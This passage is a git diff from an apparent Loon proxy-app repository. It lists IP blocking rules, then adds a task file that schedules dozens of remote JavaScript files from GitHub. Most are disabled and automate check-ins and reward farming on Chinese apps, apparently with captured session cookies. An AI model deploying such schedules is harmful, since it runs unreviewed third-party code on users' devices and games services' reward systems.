173.208.177.227/32, no-resolve +IP-CIDR, 180.76.155.58/32, no-resolve +IP-CIDR, 180.76.162.60/32, no-resolve +IP-CIDR, 180.76.171.28/32, no-resolve +IP-CIDR, 180.76.172.149/32, no-resolve +IP-CIDR, 180.76.181.213/32, no-resolve +IP-CIDR, 182.92.81.104/32, no-resolve +IP-CIDR, 183.131.79.130/32, no-resolve +IP-CIDR, 183.131.79.30/32, no-resolve +IP-CIDR, 183.59.53.187/29, no-resolve +IP-CIDR, 183.6.188.226/29, no-resolve +IP-CIDR, 198.40.52.11/32, no-resolve +IP-CIDR, 202.104.1.27/32, no-resolve +IP-CIDR, 202.105.165.202/32, no-resolve +IP-CIDR, 205.209.138.102/32, no-resolve +IP-CIDR, 211.103.159.32/32, no-resolve +IP-CIDR, 211.137.132.89/32, no-resolve +IP-CIDR, 211.139.178.49/32, no-resolve +IP-CIDR, 211.149.225.23/32, no-resolve +IP-CIDR, 211.167.105.131/32, no-resolve +IP-CIDR, 211.98.71.195/29, no-resolve +IP-CIDR, 218.25.246.118/32, no-resolve +IP-CIDR, 219.234.83.60/32, no-resolve +IP-CIDR, 221.179.140.0/24, no-resolve +IP-CIDR, 221.179.183.0/24, no-resolve +IP-CIDR, 221.179.191.0/24, no-resolve +IP-CIDR, 221.179.46.190/25, no-resolve +IP-CIDR, 221.204.213.222/32, no-resolve +IP-CIDR, 221.228.214.101/32, no-resolve +IP-CIDR, 222.187.226.96/32, no-resolve +IP-CIDR, 223.6.255.99/32, no-resolve +IP-CIDR, 23.235.156.167/32, no-resolve +IP-CIDR, 23.42.186.24/32, no-resolve +IP-CIDR, 23.66.147.48/32, no-resolve +IP-CIDR, 27.255.67.120/32, no-resolve +IP-CIDR, 42.51.146.207/32, no-resolve +IP-CIDR, 45.34.240.72/32, no-resolve +IP-CIDR, 46.165.197.153/32, no-resolve +IP-CIDR, 46.165.197.231/32, no-resolve +IP-CIDR, 47.90.50.177/32, no-resolve +IP-CIDR, 47.93.103.196/32, no-resolve +IP-CIDR, 47.94.89.32/32, no-resolve +IP-CIDR, 47.96.162.122/32, no-resolve +IP-CIDR, 58.215.179.159/32, no-resolve +IP-CIDR, 58.221.28.166/32, no-resolve +IP-CIDR, 60.19.29.21/28, no-resolve +IP-CIDR, 60.190.139.164/32, no-resolve +IP-CIDR, 60.191.124.196/32, no-resolve +IP-CIDR, 60.210.17.12/24, no-resolve +IP-CIDR, 61.129.70.132/32, no-resolve +IP-CIDR, 61.132.216.232/32, no-resolve +IP-CIDR, 61.132.221.146/32, no-resolve +IP-CIDR, 61.132.255.212/32, no-resolve +IP-CIDR, 61.132.255.222/25, no-resolve +IP-CIDR, 61.147.184.18/32, no-resolve +IP-CIDR, 61.152.223.15/32, no-resolve +IP-CIDR, 61.174.50.167/25, no-resolve +IP-CIDR, 61.191.12.74/32, no-resolve +IP-CIDR, 61.191.206.4/32, no-resolve +IP-CIDR, 67.229.224.28/32, no-resolve +IP-CIDR, 69.28.57.245/32, no-resolve +IP-CIDR, 74.117.182.77/32, no-resolve +IP-CIDR, 78.140.131.214/32, no-resolve +IP-CIDR, 39.107.15.115/32, no-resolve +IP-CIDR, 47.89.59.182/32, no-resolve +IP-CIDR, 103.49.209.27/32, no-resolve +IP-CIDR, 123.56.152.96/32, no-resolve +IP-CIDR, 61.160.200.223/32, no-resolve +IP-CIDR, 61.160.200.242/32, no-resolve +IP-CIDR, 61.160.200.252/32, no-resolve +IP-CIDR, 61.174.50.214/32, no-resolve +IP-CIDR, 111.175.220.163/32, no-resolve +IP-CIDR, 111.175.220.164/32, no-resolve +IP-CIDR, 124.232.160.178/32, no-resolve +IP-CIDR, 175.6.223.15/32, no-resolve +IP-CIDR, 183.59.53.237/32, no-resolve +IP-CIDR, 218.93.127.37/32, no-resolve +IP-CIDR, 221.228.17.152/32, no-resolve +IP-CIDR, 221.231.6.79/32, no-resolve +IP-CIDR, 222.186.61.91/32, no-resolve +IP-CIDR, 222.186.61.95/32, no-resolve +IP-CIDR, 222.186.61.96/32, no-resolve +IP-CIDR, 222.186.61.97/32, no-resolve +IP-CIDR, 106.75.231.48/32, no-resolve +IP-CIDR, 119.4.249.166/32, no-resolve +IP-CIDR, 220.196.52.141/32, no-resolve +IP-CIDR, 221.6.4.148/32, no-resolve +IP-CIDR, 114.247.28.96/32, no-resolve +IP-CIDR, 221.179.131.72/32, no-resolve +IP-CIDR, 221.179.140.145/32, no-resolve +IP-CIDR, 10.72.25.0/24, no-resolve +IP-CIDR, 115.182.16.79/32, no-resolve +IP-CIDR, 118.144.88.126/32, no-resolve +IP-CIDR, 118.144.88.215/32, no-resolve +IP-CIDR, 118.144.88.216/32, no-resolve +IP-CIDR, 120.76.189.132/32, no-resolve +IP-CIDR, 124.14.21.147/32, no-resolve +IP-CIDR, 124.14.21.151/32, no-resolve +IP-CIDR, 180.166.52.24/32, no-resolve +IP-CIDR, 211.161.101.106/32, no-resolve +IP-CIDR, 220.115.251.25/32, no-resolve +IP-CIDR, 222.73.156.235/32, no-resolve +IP-CIDR, 203.107.1.1/24, no-resolve + diff --git a/Loon/script/tasks.scripts b/Loon/script/tasks.scripts new file mode 100644 index 00000000..747e38ed --- /dev/null +++ b/Loon/script/tasks.scripts @@ -0,0 +1,239 @@ +#!name=fmz200定时任务合集 +#!desc=整合大部分定时任务Loon版 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tasks.scripts +#!tg-group=https://t.me/lanjieguanggao +#!date=2025-04-26 22:10:00 +############################################# +# 配置语法 脚本默认执行超时时间200s +# cron "0 8 * * *" script-path=cron.js,tag = cronScript,timeout = 300,argument = "1234",enable=true + +# fmz200 +cron "0 7,11,17 * * *" script-path=https://gist.githubusercontent.com/Sliverkiss/33800a98dcd029ba09f8b6fc6f0f5162/raw/aliyun.js, timeout=300, tag=阿里云盘签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AliYunDrive.png, enable=false +cron "30 1,8,12,17 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuaishou/ks_fruit.js, timeout=300, tag=快手果园, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/kuaishou.png, enable=false +cron "30 1,7,12,18,22 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_guoyuan.js, timeout=300, tag=拼多多果园, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/pinduoduo.png, enable=false +cron "22 7 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/macat/macat_signin.js, timeout=10, tag=马克喵签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Macat.png, enable=false +cron "17 7 * * *" script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js, timeout=300, tag=建行生活签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ccbLife.jpg, enable=false +cron "17 7 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xxyx/xxyx_signin.js, timeout=300, tag=晓晓优选每日任务, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xxyx_01.jpeg, enable=false +cron "17 7 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/chery/cheryAppSignin.js, timeout=300, tag=奇瑞汽车App签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/chery.png, enable=false +cron "15 7 * * *" script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/douyu/yubaSign.js, timeout=300, tag=斗鱼鱼吧签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/douyu.png, enable=false +cron "19 7 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_signin.js, timeout=300, tag=微博每日签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png, enable=false +cron "19 7 * * *" script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, timeout=6000, tag=微博超话签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/WeiboTalk.png, enable=false +cron "1 0 * * *" script-path=https://raw.githubusercontent.com/wf021325/qx/master/task/ampDache.js, timeout=300, tag=高德地图打车签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/GaodeMap.jpg, enable=false +#cron "25 7-12/1 * * *" script-path=https://raw.githubusercontent.com/WowYiJiu/Personal/main/Script/qqMusic.js, timeout=300, tag=QQ音乐任务, img-url=https://raw.githubusercontent.com/WowYiJiu/Personal/main/icon/Color/qqMusic.png, enable=false +cron "18 0 8-22 * * ?" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/douyin/my_girl_video.js, timeout=300, tag=小姐姐视频, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/18Plus.png, enable=false +cron "0 8 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/oil_price.js, timeout=300, tag=今日油价, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/oil.png, enable=false +cron "0 0/2 * * *" script-path=https://github.com/ChinaTelecomOperators/ChinaTelecom/releases/download/Prerelease-Alpha/Tele_Cellular_Auto.js, timeout=300, tag=电信余量, img-url=https://raw.githubusercontent.com/LikeGEM/TuBiao/main/Icons/zhongguodianxin.png, enable=false +cron "0 6-23/3 * * *" script-path=https://raw.githubusercontent.com/Yuheng0101/X/main/Tasks/top.js, timeout=300, tag=热搜榜单, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/hot_search.png, enable=false +cron "10 9 * * ?" script-path=https://raw.githubusercontent.com/chxm1023/Task/main/hljk.js, timeout=300, tag=汇率监控, img-url=https://raw.githubusercontent.com/chxm1023/Task/main/icon/hljk.png, enable=false +cron "30 8 * * *" script-path=https://raw.githubusercontent.com/Yuheng0101/X/main/Tasks/60s.js, timeout=300, tag=每天60s读懂世界, img-url=https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/friDay.png, enable=false +#cron "*/30 * * * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/TestFlight/Auto_join_TF.js, timeout=300, tag=自动加入TF, img-url=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/icon/color/testflight.png, enable=false +cron "0/30 * * * *" script-path=https://raw.githubusercontent.com/songyangzz/QuantumultX/master/testflight.js, timeout=300, tag=testflight公测监控, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/testflight.png, enable=false +cron "22 10 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/airport_fetch_notice.js, timeout=300, tag=获取机场公告, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/airport.png, enable=false +cron "0 10 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/gist/backup.js, timeout=300, tag=Gist备份, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BoxJS.png, enable=false +cron "5 10 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/gist/restore.js, timeout=300, tag=Gist恢复, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BoxJS.png, enable=false +cron "0 0 * * *" script-path=https://github.com/sub-store-org/Sub-Store/releases/latest/download/cron-sync-artifacts.min.js, timeout=300, tag=Sub-Store Sync, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/SubStore.png, enable=false + +# Zirawell +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/CheckIn/flyert.js, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/flyert.png, enable=false, tag=飞客-签到 + +# BoxJS +cron "0 * * * *" script-path=https://raw.githubusercontent.com/Tartarus2014/Script/master/Delete_All.js, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BoxJS.png, enable=false, tag=抹掉BoxJS全局备份 +cron "0 * * * *" script-path=https://raw.githubusercontent.com/Tartarus2014/Script/master/Delete_Cache.js, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BoxJS.png, enable=false, tag=抹掉BoxJS订阅缓存 + +# By Evilbutcher GitHub:https://github.com/evilbutcher/Quantumult_X/tree/master +cron "5 6 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/nasa/nasapic.js, enable=false, tag=NASA每日一图 +cron "5 6 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/idaily/idaily.js, enable=false, tag=iDaily每日环球视野 +cron "30 7-22 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/appstore/AppMonitor.js, enable=false, tag=App价格监控 +cron "30 0 8-22/2 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/hotsearch/hot.js, enable=false, tag=热门监控 +cron "45 3 8 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/weibo/weibotalk.js, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/WeiboTalk.png, enable=false, tag=微博超话 +cron "25 4 8 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/glados/glados.js, enable=false, tag=GLaDOS签到 +cron "45 4 8 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/glados/checkin_env.js, enable=false, tag=机场签到 +cron "0 5 8 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/glados/checkincookie_env.js, enable=false, tag=机场签到Cookie版 +cron "0 4 8 * * *" script-path=https://raw.githubusercontent.com/evilbutcher/Quantumult_X/master/check_in/funboat/funboat.js, enable=false, tag=Funboat签到 + +# By zZPigle GitHub:https://github.com/zZPiglet/Task/tree/master +cron "0 * * * *" script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/Weibo/Weibo.js, enable=false, tag=微博通知 +cron "0 0 10,21 * * *" script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/Oclean/Oclean.js, enable=false, tag=欧可林 +cron "3 4 * * *" script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/Oclean/Oclean_mini.js, enable=false, tag=欧可林商城 +cron "0 18 * * *" script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/MovieCalendar/MovieCalendar.js, enable=false, tag=豆瓣电影日历 +cron "0 22 7 * * *" script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/Alipay/Alipay.js, enable=false, tag=Alipay +# cron "7 4 * * *" script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/umetrip/umetrip.js, enable=false, tag=航旅纵横 + +# By NobyDa GitHub:https://github.com/NobyDa/Script/tree/master +cron "15 1 * * *" script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js, enable=false, tag=京东 +cron "20 1 8 * * *" script-path=https://raw.githubusercontent.com/NobyDa/Script/master/iQIYI-DailyBonus/iQIYI.js, enable=false, tag=爱奇艺 +cron "30 1 8 * * *" script-path=https://raw.githubusercontent.com/NobyDa/Script/master/52pojie-DailyBonus/52pojie.js, enable=false, tag=吾爱破解 +cron "40 1 8 * * *" script-path=https://raw.githubusercontent.com/NobyDa/Script/master/Bilibili-DailyBonus/Manga.js, enable=false, tag=哔哩哔哩漫画 +cron "0 0,1,2 8 * * *" script-path=https://raw.githubusercontent.com/NobyDa/Script/master/BDTieBa-DailyBonus/TieBa.js, enable=false, tag=百度贴吧(客户端) +cron "4 9 * * *" script-path=https://raw.githubusercontent.com/NobyDa/Script/master/KuaiKan-DailyBonus/KKMH.js, enable=false, tag=快看漫画 + +# By chavyleung GitHub:https://github.com/chavyleung/scripts +cron "5 3 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/jd/JD_BaiTiao.js, enable=false, tag=京东白条 +cron "10 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/tieba/tieba.js, enable=false, tag=百度签到(网页) +cron "50 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10000/10000.js, enable=false, tag=电信营业厅 +cron "0 1 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/acfun/acfun.js, enable=false, tag=AcFun +cron "11 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/apktw/apktw.js, enable=false, tag=APK.TW +cron "12 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/bilibili/bilibili.js, enable=false, tag=哔哩哔哩 +cron "31 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/bilibili/bilibili.silver2coin.js, enable=false, tag=哔哩哔哩 +cron "41 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/dongqiudi/dongqiudi.js, enable=false, tag=懂球帝 +cron "51 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/feng/feng.js, enable=false, tag=威锋网 +cron "0 2 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/flyertea/flyertea.js, enable=false, tag=飞客茶馆 +cron "10 2 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/neteasemusic/neteasemusic.js, enable=false, tag=网易云音乐 +cron "30 2 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/neteasenews/neteasenews.js, enable=false, tag=网易新闻 +cron "40 2 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qunar/qunar.js, enable=false, tag=去哪儿 +cron "50 2 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/rrtv/rrtv.js, enable=false, tag=人人视频 +cron "0 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/sfexpress/sfexpress.js, enable=false, tag= 顺丰速运 +cron "10 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/smzdm/smzdm.js, enable=false, tag=什么值得买 +cron "20 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/v2ex/v2ex.js, enable=false, tag=V2EX +cron "30 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/videoqq/videoqq.js, enable=false, tag=腾讯视频 +cron "40 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/ximalaya/ximalaya.js, enable=false, tag=喜马拉雅 +cron "50 3 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/yanxuan/yanxuan.js, enable=false, tag=网易严选 +cron "0 4 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zimuzu/zimuzu.js, enable=false, tag=字幕组 +cron "12 4 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qqmusic/qqmusic.js, enable=false, tag=QQ音乐 +cron "12 4 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/csdn/csdn.js, enable=false, tag=CSDN +cron "33 4 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/gdoil/gdoil.js, enable=false, tag=加油广东 +cron "40 4 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/mgtv/mgtv.js, enable=false, tag=芒果TV +cron "50 4 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/mihoyo/mihoyo.js, enable=false, tag=米游社 +cron "0 5 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.js, enable=false, tag=中国联通 +cron "10 5 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/maomicd/maomicd.js, enable=false, tag=猫咪音乐 +;cron "20 5 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10086/10086.js, enable=false, tag=中国移动 +cron "30 5 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wmmeituan/wmmeituan.js, enable=false, tag=美团外卖 +cron "40 5 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/meituan/meituan.js, enable=false, tag=美团 +cron "50 5 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/everphoto/everphoto.js, enable=false, tag=时光相册 +;cron "0 6 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/bcz/bcz.js, enable=false, tag=百词斩 +cron "10 6 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/mcdd/mcdd.js, enable=false, tag=叮咚买菜 +;cron "20 6 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/fenqile/fenqile.js, enable=false, tag=分期乐 +cron "30 6 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/fandeng/fandeng.js, enable=false, tag=樊登读书 +cron "40 6 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qmkg/qmkg.js, enable=false, tag=全民K歌 +cron "50 6 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/hycan/hycan.js, enable=false, tag=合创 +cron "0 7 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/nio/nio.js, enable=false, tag=蔚来 +cron "10 7 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/haidilao/hdl.js, enable=false, tag=海底捞 +cron "20 7 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wykl/wykl.js, enable=false, tag=网易考拉 +cron "30 7 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wps/wps.js, enable=false, tag=WPS +cron "40 7 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qimao/qmnovel.js, enable=false, tag=七猫小说 +cron "50 7 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zxhc/zxhc.js, enable=false, tag=智行火车 +cron "0 8 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.js, enable=false, tag=苏宁易购 +cron "10 8 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zaker/zaker.js, enable=false, tag=Zaker +cron "20 8 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/bubei/bubei.js, enable=false, tag=不背单词 +;cron "30 8 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/dbsj/dbsj.js, enable=false, tag=豆瓣时间 +cron "40 8 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/hellobike/hellobike.js, enable=false, tag=哈啰出行 +cron "50 8 8 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zsfc/zsfc.js, enable=false, tag=掌上飞车 +cron "0 3 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/duokan/duokan.js, enable=false, tag=多看 +cron "3 3 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/noteyoudao/noteyoudao.js, enable=false, tag=有道云笔记 +cron "0 12 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/box/switcher/box.switcher.js, enable=false, tag=切换会话 +;cron "12 3 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10086/10086.fee.js, enable=false, tag=中国移动-查话费 +cron "12 2 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wanda/wanda.js, enable=false, tag=万达电影 +cron "11 2 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/pagoda/pagoda.js, enable=false, tag=百果园 +cron "11 2 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/ithome/ithome.js, enable=false, tag=IT之家 +cron "11 2 * * *" script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/nfzm/nfzm.js, enable=false, tag=南方周末 + +# Peng-YM https://github.com/Peng-YM/QuanX/tree/master/Tasks +cron "0 0 8 * * *" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/nCov.js, enable=false, tag=疫情日报 +cron "8 0 * * *" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/zongheng.js, enable=false, tag=纵横小说 +cron "8 0 * * *" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/github.js, enable=false, tag=GitHub +cron "8 0 * * *" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/steam.js, enable=false, tag=Steam价格监控 +cron "8 0 * * *" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/exchange.js, enable=false, tag=汇率监控 +cron "0 9 1 * *" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/psn.js, enable=false, tag=PSN会免 +cron "55 23 ? * THU" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/epic.js, enable=false, tag=EPIC +cron "30 8-22 * * *" script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/caiyun.js, enable=false, tag=彩云天气 + +# iepngs https://raw.githubusercontent.com/iepngs/Script/master +cron "1 8,12,17 * * *" script-path=https://raw.githubusercontent.com/iepngs/Script/master/dingdong/index.js, enable=false, tag=叮咚农场 +cron "0 9 * * *" script-path=https://raw.githubusercontent.com/iepngs/Script/master/lxhealth/manual.js, enable=false, tag=lxhealth +cron "0 9 * * *" script-path=https://raw.githubusercontent.com/iepngs/Script/master/studygolang/index.js, enable=false, tag=go 语言中文网 +cron "29 8 * * *" script-path=https://raw.githubusercontent.com/iepngs/Script/master/ctrip/index.js, enable=false, tag=携程旅行 +cron "5,35 8-21 * * *" script-path=https://raw.githubusercontent.com/iepngs/Script/master/jrtt/index.js, enable=false, tag=今日头条极速版 +cron "0 9 * * *" script-path=https://raw.githubusercontent.com/iepngs/Script/master/lxsj/index.js, enable=false, tag=旅行世界购物版 + +# lowking https://github.com/lowking/Scripts +cron "0 4 0,1 * * *" script-path=https://raw.githubusercontent.com/lowking/Scripts/master/bilibili/bangumiMonitor.js, enable=false, tag=哔哩哔哩番剧监控 +cron "5 5 * * *" script-path=https://raw.githubusercontent.com/lowking/Scripts/master/QQVip/qqVipCheckIn.js, enable=false, tag=qq会员成长值 +cron "20 4 0 * * *" script-path=https://raw.githubusercontent.com/lowking/Scripts/master/sony/sonyClub.js, enable=false, tag=索尼俱乐部签到 +cron "21 4 0,1 * * *" script-path=https://raw.githubusercontent.com/lowking/Scripts/master/douyu/yubaSign.js, enable=false, tag=斗鱼鱼吧签到 +cron "22 4 0,2 * * *" script-path=https://raw.githubusercontent.com/lowking/Scripts/master/QQPet/lkQQPet.js, enable=false, tag=QQ萌宠 + +# toulanboy https://github.com/toulanboy/scripts +cron "52 5 * * *" script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, enable=false, tag=微博超话 +cron "51 5 * * *" script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/muchong/muchong.js, enable=false, tag=小木虫论坛 + +# dompling https://github.com/dompling/Script +# cron "51 4 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/cuuc/cuuc.js, enable=false, tag=CU 云加速 +# cron "10 4 8 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/oneSay/oneSay.js, enable=false, tag=每日一言 +# cron "8 4 8 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/historyToday/index.js, enable=false, tag=历史上的今天, +# cron "3 4 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/birthdayCountDown/index.js, enable=false, tag=生日倒计时 +# cron "0 4 0,2 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/xiaomiyp/xiaomiyp.js, enable=false, tag=小米有品 +# cron "10 0 * * *" script-path=https://raw.githubusercontent.com/dompling/Script/master/ymatou/ymatou.js, enable=false, tag=ymatou + +# songyangzz https://github.com/songyangzz/QuantumultX +cron "0 0 8 * * *" script-path=https://raw.githubusercontent.com/songyangzz/QuantumultX/master/lol.js, enable=false, tag=英雄联盟排名 +cron "0 0 * * * *" script-path=https://raw.githubusercontent.com/songyangzz/QuantumultX/master/testflight.js, enable=false, tag=TestFlight公测监控 +cron "0 9 8 * * *" script-path=https://raw.githubusercontent.com/songyangzz/QuantumultX/master/elem/elemSign.js, enable=false, tag=饿了么 +# cron "10 9 8 * * *" script-path=https://raw.githubusercontent.com/nzw9314/QuantumultX/master/Task/yubaSign.js, enable=false, tag=斗鱼鱼吧 +cron "*/15 * * * *" script-path=https://raw.githubusercontent.com/songyangzz/QuantumultX/master/YOUTH_READ.js, enable=false, tag=中青看点 + +# barrym-chen https://github.com/barrym-chen/Script +cron "27 9 8 * * *" script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/ctrip/ctrip.js, enable=false, tag=携程旅行 +cron "24 9 8 * * *" script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/ctrip_wx/ct_sign.js, enable=false, tag=携程小程序 +cron "21 9 8 * * *" https://raw.githubusercontent.com/barrym-chen/Script/master/elong/elong_draw.js, enable=false, tag=艺龙酒店 +cron "10 10 8 * * *" script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/jdczf/jdczf.js, enable=false, tag= 京东成长分 +cron "18 10 8 * * *" script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/icbc/icbc_sign.js, enable=false, tag=工银e生活 +cron "25 10 8 * * *" script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/tongc/tongc_sign.js, enable=false, 